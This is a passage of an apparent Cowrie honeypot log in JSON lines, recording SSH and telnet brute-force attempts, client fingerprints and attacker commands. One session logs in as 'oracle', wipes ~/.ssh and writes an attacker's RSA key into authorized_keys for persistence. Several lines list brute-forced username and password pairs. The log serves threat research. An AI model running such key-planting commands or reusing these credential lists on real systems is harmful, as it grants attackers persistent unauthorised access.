{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53064,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d8b61b628ab","protocol":"ssh","message":"New connection: 176.65.132.129:53064 (10.17.0.5:22) [session: 4d8b61b628ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:42.111240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:42.117002Z","src_ip":"176.65.132.129","session":"4d8b61b628ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:42.200096Z","src_ip":"176.65.132.129","session":"4d8b61b628ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"git","message":"login attempt [user/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:42.445248Z","src_ip":"176.65.132.129","session":"4d8b61b628ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.77943396568298,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:42.952273Z","src_ip":"38.54.119.93","session":"49843900d600","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.116.174.157","src_port":39692,"dst_ip":"10.17.0.5","dst_port":22,"session":"12021e37419b","protocol":"ssh","message":"New connection: 190.116.174.157:39692 (10.17.0.5:22) [session: 12021e37419b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:43.472902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:43.477942Z","src_ip":"190.116.174.157","session":"12021e37419b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:43.529604Z","src_ip":"176.65.132.129","session":"4d8b61b628ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:43.614222Z","src_ip":"190.116.174.157","session":"12021e37419b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.877312898635864,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:43.725395Z","src_ip":"38.60.198.128","session":"b0cd774fbbf0","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"12345qwert","message":"login attempt [oracle/12345qwert] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:44.173771Z","src_ip":"190.116.174.157","session":"12021e37419b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:44.500407Z","src_ip":"190.116.174.157","session":"12021e37419b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:44.503422Z","src_ip":"190.116.174.157","session":"12021e37419b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:44.506733Z","src_ip":"190.116.174.157","session":"12021e37419b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:44.651376Z","src_ip":"190.116.174.157","session":"12021e37419b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:44.977608Z","src_ip":"190.116.174.157","session":"12021e37419b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:44.980933Z","src_ip":"190.116.174.157","session":"12021e37419b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:45.126672Z","src_ip":"190.116.174.157","session":"12021e37419b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:45.130860Z","src_ip":"190.116.174.157","session":"12021e37419b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.116.174.157","src_port":50658,"dst_ip":"10.17.0.5","dst_port":22,"session":"22c385ecf57f","protocol":"ssh","message":"New connection: 190.116.174.157:50658 (10.17.0.5:22) [session: 22c385ecf57f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:45.260004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:45.265242Z","src_ip":"190.116.174.157","session":"22c385ecf57f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:45.406014Z","src_ip":"190.116.174.157","session":"22c385ecf57f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53066,"dst_ip":"10.17.0.5","dst_port":22,"session":"57da8e2efc34","protocol":"ssh","message":"New connection: 176.65.132.129:53066 (10.17.0.5:22) [session: 57da8e2efc34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:45.418991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:45.423722Z","src_ip":"176.65.132.129","session":"57da8e2efc34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:45.507877Z","src_ip":"176.65.132.129","session":"57da8e2efc34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:45.881542Z","src_ip":"176.65.132.129","session":"57da8e2efc34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:45.998932Z","src_ip":"190.116.174.157","session":"22c385ecf57f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51932,"dst_ip":"10.17.0.5","dst_port":23,"session":"c06465da65ad","protocol":"telnet","message":"New connection: 38.54.119.93:51932 (10.17.0.5:23) [session: c06465da65ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:46.370110Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:46.965124Z","src_ip":"176.65.132.129","session":"57da8e2efc34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:47.142548Z","src_ip":"190.116.174.157","session":"22c385ecf57f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.116.174.157","src_port":50664,"dst_ip":"10.17.0.5","dst_port":22,"session":"b496eacea9ea","protocol":"ssh","message":"New connection: 190.116.174.157:50664 (10.17.0.5:22) [session: b496eacea9ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:47.273817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:47.278043Z","src_ip":"190.116.174.157","session":"b496eacea9ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:47.413859Z","src_ip":"190.116.174.157","session":"b496eacea9ea","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:47.953720Z","src_ip":"190.116.174.157","session":"b496eacea9ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:48.094882Z","src_ip":"190.116.174.157","session":"b496eacea9ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:48.102924Z","src_ip":"190.116.174.157","session":"12021e37419b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41634,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3265076d068","protocol":"ssh","message":"New connection: 176.65.132.129:41634 (10.17.0.5:22) [session: c3265076d068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:48.802784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:48.807074Z","src_ip":"176.65.132.129","session":"c3265076d068","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:48.889402Z","src_ip":"176.65.132.129","session":"c3265076d068","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1029384756","message":"login attempt [root/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:49.247648Z","src_ip":"176.65.132.129","session":"c3265076d068","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:50.331690Z","src_ip":"176.65.132.129","session":"c3265076d068","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.39514398574829,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:50.347003Z","src_ip":"192.211.53.160","session":"acb950728cfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41650,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d701de46dd5","protocol":"ssh","message":"New connection: 176.65.132.129:41650 (10.17.0.5:22) [session: 2d701de46dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:52.392498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:52.397029Z","src_ip":"176.65.132.129","session":"2d701de46dd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-e